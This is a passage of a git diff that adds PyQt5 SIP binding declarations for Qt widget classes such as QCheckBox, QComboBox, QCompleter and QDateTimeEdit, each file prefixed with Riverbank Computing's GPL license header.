verticalHeaderFormat() const; + void setVerticalHeaderFormat(QCalendarWidget::VerticalHeaderFormat format); + QTextCharFormat headerTextFormat() const; + void setHeaderTextFormat(const QTextCharFormat &format); + QTextCharFormat weekdayTextFormat(Qt::DayOfWeek dayOfWeek) const; + void setWeekdayTextFormat(Qt::DayOfWeek dayOfWeek, const QTextCharFormat &format); + QMap dateTextFormat() const; + QTextCharFormat dateTextFormat(const QDate &date) const; + void setDateTextFormat(const QDate &date, const QTextCharFormat &color); + +protected: + void updateCell(const QDate &date); + void updateCells(); + virtual bool event(QEvent *event); + virtual bool eventFilter(QObject *watched, QEvent *event); + virtual void mousePressEvent(QMouseEvent *event); + virtual void resizeEvent(QResizeEvent *event); + virtual void keyPressEvent(QKeyEvent *event); + virtual void paintCell(QPainter *painter, const QRect &rect, const QDate &date) const; + +public slots: + void setCurrentPage(int year, int month); + void setDateRange(const QDate &min, const QDate &max); + void setSelectedDate(const QDate &date); + void showNextMonth(); + void showNextYear(); + void showPreviousMonth(); + void showPreviousYear(); + void showSelectedDate(); + void showToday(); + +signals: + void activated(const QDate &date); + void clicked(const QDate &date); + void currentPageChanged(int year, int month); + void selectionChanged(); + +public: + bool isNavigationBarVisible() const; + bool isDateEditEnabled() const; + void setDateEditEnabled(bool enable); + int dateEditAcceptDelay() const; + void setDateEditAcceptDelay(int delay); + +public slots: + void setNavigationBarVisible(bool visible); + +public: +%If (Qt_5_14_0 -) + QCalendar calendar() const; +%End +%If (Qt_5_14_0 -) + void setCalendar(QCalendar calendar); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcheckbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcheckbox.sip new file mode 100644 index 00000000..2ec332ac --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcheckbox.sip @@ -0,0 +1,51 @@ +// qcheckbox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCheckBox : QAbstractButton +{ +%TypeHeaderCode +#include +%End + +public: + explicit QCheckBox(QWidget *parent /TransferThis/ = 0); + QCheckBox(const QString &text, QWidget *parent /TransferThis/ = 0); + virtual ~QCheckBox(); + virtual QSize sizeHint() const; + void setTristate(bool on = true); + bool isTristate() const; + Qt::CheckState checkState() const; + void setCheckState(Qt::CheckState state); + virtual QSize minimumSizeHint() const; + +signals: + void stateChanged(int); + +protected: + virtual bool hitButton(const QPoint &pos) const; + virtual void checkStateSet(); + virtual void nextCheckState(); + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); + virtual void mouseMoveEvent(QMouseEvent *); + void initStyleOption(QStyleOptionButton *option) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcolordialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcolordialog.sip new file mode 100644 index 00000000..e9e58bab --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcolordialog.sip @@ -0,0 +1,83 @@ +// qcolordialog.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QColorDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + enum ColorDialogOption + { + ShowAlphaChannel, + NoButtons, + DontUseNativeDialog, + }; + + typedef QFlags ColorDialogOptions; + explicit QColorDialog(QWidget *parent /TransferThis/ = 0); + QColorDialog(const QColor &initial, QWidget *parent /TransferThis/ = 0); + virtual ~QColorDialog(); + static QColor getColor(const QColor &initial = Qt::white, QWidget *parent = 0, const QString &title = QString(), QColorDialog::ColorDialogOptions options = QColorDialog::ColorDialogOptions()) /ReleaseGIL/; + static int customCount(); + static QColor customColor(int index); + static void setCustomColor(int index, QColor color); + static QColor standardColor(int index); + static void setStandardColor(int index, QColor color); + +signals: + void colorSelected(const QColor &color); + void currentColorChanged(const QColor &color); + +protected: + virtual void changeEvent(QEvent *e); + virtual void done(int result); + +public: + void setCurrentColor(const QColor &color); + QColor currentColor() const; + QColor selectedColor() const; + void setOption(QColorDialog::ColorDialogOption option, bool on = true); + bool testOption(QColorDialog::ColorDialogOption option) const; + void setOptions(QColorDialog::ColorDialogOptions options); + QColorDialog::ColorDialogOptions options() const; + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual void setVisible(bool visible); +}; + +QFlags operator|(QColorDialog::ColorDialogOption f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcolumnview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcolumnview.sip new file mode 100644 index 00000000..44a1f86c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcolumnview.sip @@ -0,0 +1,65 @@ +// qcolumnview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QColumnView : QAbstractItemView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QColumnView(QWidget *parent /TransferThis/ = 0); + virtual ~QColumnView(); + QList columnWidths() const; + QWidget *previewWidget() const; + bool resizeGripsVisible() const; + void setColumnWidths(const QList &list); + void setPreviewWidget(QWidget *widget /Transfer/); + void setResizeGripsVisible(bool visible); + virtual QModelIndex indexAt(const QPoint &point) const; + virtual void scrollTo(const QModelIndex &index, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + virtual QSize sizeHint() const; + virtual QRect visualRect(const QModelIndex &index) const; + virtual void setModel(QAbstractItemModel *model /KeepReference/); + virtual void setSelectionModel(QItemSelectionModel *selectionModel /KeepReference/); + virtual void setRootIndex(const QModelIndex &index); + virtual void selectAll(); + +signals: + void updatePreviewWidget(const QModelIndex &index); + +protected: + virtual QAbstractItemView *createColumn(const QModelIndex &rootIndex); + void initializeColumn(QAbstractItemView *column) const; + virtual bool isIndexHidden(const QModelIndex &index) const; + virtual QModelIndex moveCursor(QAbstractItemView::CursorAction cursorAction, Qt::KeyboardModifiers modifiers); + virtual void resizeEvent(QResizeEvent *event); + virtual void setSelection(const QRect &rect, QItemSelectionModel::SelectionFlags command); + virtual QRegion visualRegionForSelection(const QItemSelection &selection) const; + virtual int horizontalOffset() const; + virtual int verticalOffset() const; + virtual void scrollContentsBy(int dx, int dy); + virtual void rowsInserted(const QModelIndex &parent, int start, int end); + +protected slots: + virtual void currentChanged(const QModelIndex ¤t, const QModelIndex &previous); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcombobox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcombobox.sip new file mode 100644 index 00000000..8b4dcfda --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcombobox.sip @@ -0,0 +1,170 @@ +// qcombobox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QComboBox : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QComboBox(QWidget *parent /TransferThis/ = 0); + virtual ~QComboBox(); + int maxVisibleItems() const; + void setMaxVisibleItems(int maxItems); + int count() const /__len__/; + void setMaxCount(int max); + int maxCount() const; + bool duplicatesEnabled() const; + void setDuplicatesEnabled(bool enable); + void setFrame(bool); + bool hasFrame() const; + int findText(const QString &text, Qt::MatchFlags flags = Qt::MatchExactly|Qt::MatchCaseSensitive) const; + int findData(const QVariant &data, int role = Qt::UserRole, Qt::MatchFlags flags = Qt::MatchExactly|Qt::MatchCaseSensitive) const; + + enum InsertPolicy + { + NoInsert, + InsertAtTop, + InsertAtCurrent, + InsertAtBottom, + InsertAfterCurrent, + InsertBeforeCurrent, + InsertAlphabetically, + }; + + QComboBox::InsertPolicy insertPolicy() const; + void setInsertPolicy(QComboBox::InsertPolicy policy); + + enum SizeAdjustPolicy + { + AdjustToContents, + AdjustToContentsOnFirstShow, + AdjustToMinimumContentsLength, + AdjustToMinimumContentsLengthWithIcon, + }; + + QComboBox::SizeAdjustPolicy sizeAdjustPolicy() const; + void setSizeAdjustPolicy(QComboBox::SizeAdjustPolicy policy); + int minimumContentsLength() const; + void setMinimumContentsLength(int characters); + QSize iconSize() const; + void setIconSize(const QSize &size); + bool isEditable() const; + void setEditable(bool editable); + void setLineEdit(QLineEdit *edit /Transfer/); + QLineEdit *lineEdit() const; + void setValidator(const QValidator *v /KeepReference/); + const QValidator *validator() const; + QAbstractItemDelegate *itemDelegate() const; + void setItemDelegate(QAbstractItemDelegate *delegate /KeepReference/); + QAbstractItemModel *model() const; + void setModel(QAbstractItemModel *model /KeepReference/); + QModelIndex rootModelIndex() const; + void setRootModelIndex(const QModelIndex &index); + int modelColumn() const; + void setModelColumn(int visibleColumn); + int currentIndex() const; + void setCurrentIndex(int index); + QString currentText() const; + QString itemText(int index) const; + QIcon itemIcon(int index) const; + QVariant itemData(int index, int role = Qt::UserRole) const; + void addItems(const QStringList &texts); + void addItem(const QString &text, const QVariant &userData = QVariant()); + void addItem(const QIcon &icon, const QString &text, const QVariant &userData = QVariant()); + void insertItem(int index, const QString &text, const QVariant &userData = QVariant()); + void insertItem(int index, const QIcon &icon, const QString &text, const QVariant &userData = QVariant()); + void insertItems(int index, const QStringList &texts); + void removeItem(int index); + void setItemText(int index, const QString &text); + void setItemIcon(int index, const QIcon &icon); + void setItemData(int index, const QVariant &value, int role = Qt::ItemDataRole::UserRole); + QAbstractItemView *view() const; + void setView(QAbstractItemView *itemView /Transfer/); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + virtual void showPopup(); + virtual void hidePopup(); + virtual bool event(QEvent *event); + void setCompleter(QCompleter *c /KeepReference/); + QCompleter *completer() const; + void insertSeparator(int index); + +public slots: + void clear(); + void clearEditText(); + void setEditText(const QString &text); + void setCurrentText(const QString &text); + +signals: + void editTextChanged(const QString &); + void activated(int index); + void activated(const QString &); + void currentIndexChanged(int index); + void currentIndexChanged(const QString &); + void currentTextChanged(const QString &); + void highlighted(int index); + void highlighted(const QString &); + +protected: + void initStyleOption(QStyleOptionComboBox *option) const; + virtual void focusInEvent(QFocusEvent *e); + virtual void focusOutEvent(QFocusEvent *e); + virtual void changeEvent(QEvent *e); + virtual void resizeEvent(QResizeEvent *e); + virtual void paintEvent(QPaintEvent *e); + virtual void showEvent(QShowEvent *e); + virtual void hideEvent(QHideEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void keyPressEvent(QKeyEvent *e); + virtual void keyReleaseEvent(QKeyEvent *e); + virtual void wheelEvent(QWheelEvent *e); + virtual void contextMenuEvent(QContextMenuEvent *e); + virtual void inputMethodEvent(QInputMethodEvent *); + +public: + virtual QVariant inputMethodQuery(Qt::InputMethodQuery) const; +%If (Qt_5_2_0 -) + QVariant currentData(int role = Qt::ItemDataRole::UserRole) const; +%End +%If (Qt_5_7_0 -) + QVariant inputMethodQuery(Qt::InputMethodQuery query, const QVariant &argument) const; +%End + +signals: +%If (Qt_5_14_0 -) + void textActivated(const QString &); +%End +%If (Qt_5_14_0 -) + void textHighlighted(const QString &); +%End + +public: +%If (Qt_5_15_0 -) + void setPlaceholderText(const QString &placeholderText); +%End +%If (Qt_5_15_0 -) + QString placeholderText() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcommandlinkbutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcommandlinkbutton.sip new file mode 100644 index 00000000..357addb1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcommandlinkbutton.sip @@ -0,0 +1,43 @@ +// qcommandlinkbutton.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCommandLinkButton : QPushButton +{ +%TypeHeaderCode +#include +%End + +public: + explicit QCommandLinkButton(QWidget *parent /TransferThis/ = 0); + QCommandLinkButton(const QString &text, QWidget *parent /TransferThis/ = 0); + QCommandLinkButton(const QString &text, const QString &description, QWidget *parent /TransferThis/ = 0); + virtual ~QCommandLinkButton(); + QString description() const; + void setDescription(const QString &description); + +protected: + virtual QSize sizeHint() const; + virtual int heightForWidth(int) const; + virtual QSize minimumSizeHint() const; + virtual bool event(QEvent *e); + virtual void paintEvent(QPaintEvent *); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcommonstyle.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcommonstyle.sip new file mode 100644 index 00000000..606cc61b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcommonstyle.sip @@ -0,0 +1,50 @@ +// qcommonstyle.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCommonStyle : QStyle +{ +%TypeHeaderCode +#include +%End + +public: + QCommonStyle(); + virtual ~QCommonStyle(); + virtual void polish(QWidget *widget); + virtual void unpolish(QWidget *widget); + virtual void polish(QApplication *app); + virtual void unpolish(QApplication *application); + virtual void polish(QPalette & /In,Out/); + virtual void drawPrimitive(QStyle::PrimitiveElement pe, const QStyleOption *opt, QPainter *p, const QWidget *widget = 0) const; + virtual void drawControl(QStyle::ControlElement element, const QStyleOption *opt, QPainter *p, const QWidget *widget = 0) const; + virtual QRect subElementRect(QStyle::SubElement r, const QStyleOption *opt, const QWidget *widget = 0) const; + virtual void drawComplexControl(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, QPainter *p, const QWidget *widget = 0) const; + virtual QStyle::SubControl hitTestComplexControl(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, const QPoint &pt, const QWidget *widget = 0) const; + virtual QRect subControlRect(QStyle::ComplexControl cc, const QStyleOptionComplex *opt, QStyle::SubControl sc, const QWidget *widget = 0) const; + virtual QSize sizeFromContents(QStyle::ContentsType ct, const QStyleOption *opt, const QSize &contentsSize, const QWidget *widget = 0) const; + virtual int pixelMetric(QStyle::PixelMetric m, const QStyleOption *option = 0, const QWidget *widget = 0) const; + virtual int styleHint(QStyle::StyleHint sh, const QStyleOption *option = 0, const QWidget *widget = 0, QStyleHintReturn *returnData = 0) const; + virtual QPixmap standardPixmap(QStyle::StandardPixmap sp, const QStyleOption *option = 0, const QWidget *widget = 0) const; + virtual QPixmap generatedIconPixmap(QIcon::Mode iconMode, const QPixmap &pixmap, const QStyleOption *opt) const; + virtual QIcon standardIcon(QStyle::StandardPixmap standardIcon, const QStyleOption *option = 0, const QWidget *widget = 0) const; + virtual int layoutSpacing(QSizePolicy::ControlType control1, QSizePolicy::ControlType control2, Qt::Orientation orientation, const QStyleOption *option = 0, const QWidget *widget = 0) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcompleter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcompleter.sip new file mode 100644 index 00000000..2e4f1ab3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcompleter.sip @@ -0,0 +1,99 @@ +// qcompleter.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCompleter : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum CompletionMode + { + PopupCompletion, + UnfilteredPopupCompletion, + InlineCompletion, + }; + + enum ModelSorting + { + UnsortedModel, + CaseSensitivelySortedModel, + CaseInsensitivelySortedModel, + }; + + QCompleter(QAbstractItemModel *model, QObject *parent /TransferThis/ = 0); + QCompleter(const QStringList &list, QObject *parent /TransferThis/ = 0); + QCompleter(QObject *parent /TransferThis/ = 0); + virtual ~QCompleter(); + void setWidget(QWidget *widget /Transfer/); + QWidget *widget() const; + void setModel(QAbstractItemModel *c /KeepReference/); + QAbstractItemModel *model() const; + void setCompletionMode(QCompleter::CompletionMode mode); + QCompleter::CompletionMode completionMode() const; + QAbstractItemView *popup() const; + void setPopup(QAbstractItemView *popup /Transfer/); + void setCaseSensitivity(Qt::CaseSensitivity caseSensitivity); + Qt::CaseSensitivity caseSensitivity() const; + void setModelSorting(QCompleter::ModelSorting sorting); + QCompleter::ModelSorting modelSorting() const; + void setCompletionColumn(int column); + int completionColumn() const; + void setCompletionRole(int role); + int completionRole() const; + int completionCount() const; + bool setCurrentRow(int row); + int currentRow() const; + QModelIndex currentIndex() const; + QString currentCompletion() const; + QAbstractItemModel *completionModel() const; + QString completionPrefix() const; + virtual QString pathFromIndex(const QModelIndex &index) const; + virtual QStringList splitPath(const QString &path) const; + bool wrapAround() const; + +public slots: + void complete(const QRect &rect = QRect()); + void setCompletionPrefix(const QString &prefix); + void setWrapAround(bool wrap); + +protected: + virtual bool eventFilter(QObject *o, QEvent *e); + virtual bool event(QEvent *); + +signals: + void activated(const QString &text); + void activated(const QModelIndex &index); + void highlighted(const QString &text); + void highlighted(const QModelIndex &index); + +public: + int maxVisibleItems() const; + void setMaxVisibleItems(int maxItems); +%If (Qt_5_2_0 -) + void setFilterMode(Qt::MatchFlags filterMode); +%End +%If (Qt_5_2_0 -) + Qt::MatchFlags filterMode() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdatawidgetmapper.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdatawidgetmapper.sip new file mode 100644 index 00000000..59638b19 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdatawidgetmapper.sip @@ -0,0 +1,69 @@ +// qdatawidgetmapper.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDataWidgetMapper : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum SubmitPolicy + { + AutoSubmit, + ManualSubmit, + }; + + explicit QDataWidgetMapper(QObject *parent /TransferThis/ = 0); + virtual ~QDataWidgetMapper(); + void setModel(QAbstractItemModel *model /KeepReference/); + QAbstractItemModel *model() const; + void setItemDelegate(QAbstractItemDelegate *delegate /KeepReference/); + QAbstractItemDelegate *itemDelegate() const; + void setRootIndex(const QModelIndex &index); + QModelIndex rootIndex() const; + void setOrientation(Qt::Orientation aOrientation); + Qt::Orientation orientation() const; + void setSubmitPolicy(QDataWidgetMapper::SubmitPolicy policy); + QDataWidgetMapper::SubmitPolicy submitPolicy() const; + void addMapping(QWidget *widget, int section); + void addMapping(QWidget *widget, int section, const QByteArray &propertyName); + void removeMapping(QWidget *widget); + QByteArray mappedPropertyName(QWidget *widget) const; + int mappedSection(QWidget *widget) const; + QWidget *mappedWidgetAt(int section) const; + void clearMapping(); + int currentIndex() const; + +public slots: + void revert(); + virtual void setCurrentIndex(int index); + void setCurrentModelIndex(const QModelIndex &index); + bool submit(); + void toFirst(); + void toLast(); + void toNext(); + void toPrevious(); + +signals: + void currentIndexChanged(int index); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdatetimeedit.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdatetimeedit.sip new file mode 100644 index 00000000..acc1d853 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdatetimeedit.sip @@ -0,0 +1,154 @@ +// qdatetimeedit.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDateTimeEdit : QAbstractSpinBox +{ +%TypeHeaderCode +#include +%End + +public: + enum Section + { + NoSection, + AmPmSection, + MSecSection, + SecondSection, + MinuteSection, + HourSection, + DaySection, + MonthSection, + YearSection, + TimeSections_Mask, + DateSections_Mask, + }; + + typedef QFlags Sections; + explicit QDateTimeEdit(QWidget *parent /TransferThis/ = 0); + QDateTimeEdit(const QDateTime &datetime, QWidget *parent /TransferThis/ = 0); + QDateTimeEdit(const QDate &date, QWidget *parent /TransferThis/ = 0); + QDateTimeEdit(const QTime &time, QWidget *parent /TransferThis/ = 0); + virtual ~QDateTimeEdit(); + QDateTime dateTime() const; + QDate date() const; + QTime time() const; + QDate minimumDate() const; + void setMinimumDate(const QDate &min); + void clearMinimumDate(); + QDate maximumDate() const; + void setMaximumDate(const QDate &max); + void clearMaximumDate(); + void setDateRange(const QDate &min, const QDate &max); + QTime minimumTime() const; + void setMinimumTime(const QTime &min); + void clearMinimumTime(); + QTime maximumTime() const; + void setMaximumTime(const QTime &max); + void clearMaximumTime(); + void setTimeRange(const QTime &min, const QTime &max); + QDateTimeEdit::Sections displayedSections() const; + QDateTimeEdit::Section currentSection() const; + void setCurrentSection(QDateTimeEdit::Section section); + QString sectionText(QDateTimeEdit::Section s) const; + QString displayFormat() const; + void setDisplayFormat(const QString &format); + bool calendarPopup() const; + void setCalendarPopup(bool enable); + void setSelectedSection(QDateTimeEdit::Section section); + virtual QSize sizeHint() const; + virtual void clear(); + virtual void stepBy(int steps); + virtual bool event(QEvent *e); + QDateTimeEdit::Section sectionAt(int index) const; + int currentSectionIndex() const; + void setCurrentSectionIndex(int index); + int sectionCount() const; + +signals: + void dateTimeChanged(const QDateTime &date); + void timeChanged(const QTime &date); + void dateChanged(const QDate &date); + +public slots: + void setDateTime(const QDateTime &dateTime); + void setDate(const QDate &date); + void setTime(const QTime &time); + +protected: + void initStyleOption(QStyleOptionSpinBox *option) const; + virtual void keyPressEvent(QKeyEvent *e); + virtual void wheelEvent(QWheelEvent *e); + virtual void focusInEvent(QFocusEvent *e); + virtual bool focusNextPrevChild(bool next); + virtual void mousePressEvent(QMouseEvent *event); + virtual void paintEvent(QPaintEvent *event); + virtual QValidator::State validate(QString &input /In,Out/, int &pos /In,Out/) const; + virtual void fixup(QString &input /In,Out/) const; + virtual QDateTime dateTimeFromText(const QString &text) const; + virtual QString textFromDateTime(const QDateTime &dt) const; + virtual QAbstractSpinBox::StepEnabled stepEnabled() const; + +public: + QDateTime minimumDateTime() const; + void clearMinimumDateTime(); + void setMinimumDateTime(const QDateTime &dt); + QDateTime maximumDateTime() const; + void clearMaximumDateTime(); + void setMaximumDateTime(const QDateTime &dt); + void setDateTimeRange(const QDateTime &min, const QDateTime &max); + QCalendarWidget *calendarWidget() const; + void setCalendarWidget(QCalendarWidget *calendarWidget /Transfer/); + Qt::TimeSpec timeSpec() const; + void setTimeSpec(Qt::TimeSpec spec); +%If (Qt_5_14_0 -) + QCalendar calendar() const; +%End +%If (Qt_5_14_0 -) + void setCalendar(QCalendar calendar); +%End +}; + +class QTimeEdit : QDateTimeEdit +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTimeEdit(QWidget *parent /TransferThis/ = 0); + QTimeEdit(const QTime &time, QWidget *parent /TransferThis/ = 0); + virtual ~QTimeEdit(); +}; + +class QDateEdit : QDateTimeEdit +{ +%TypeHeaderCode +#include +%End + +public: + explicit QDateEdit(QWidget *parent /TransferThis/ = 0); + QDateEdit(const QDate &date, QWidget *parent /TransferThis/ = 0); + virtual ~QDateEdit(); +}; + +QFlags operator|(QDateTimeEdit::Section f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdesktopwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdesktopwidget.sip new file mode 100644 index 00000000..edf376ca --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qdesktopwidget.sip @@ -0,0 +1,55 @@ +// qdesktopwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// 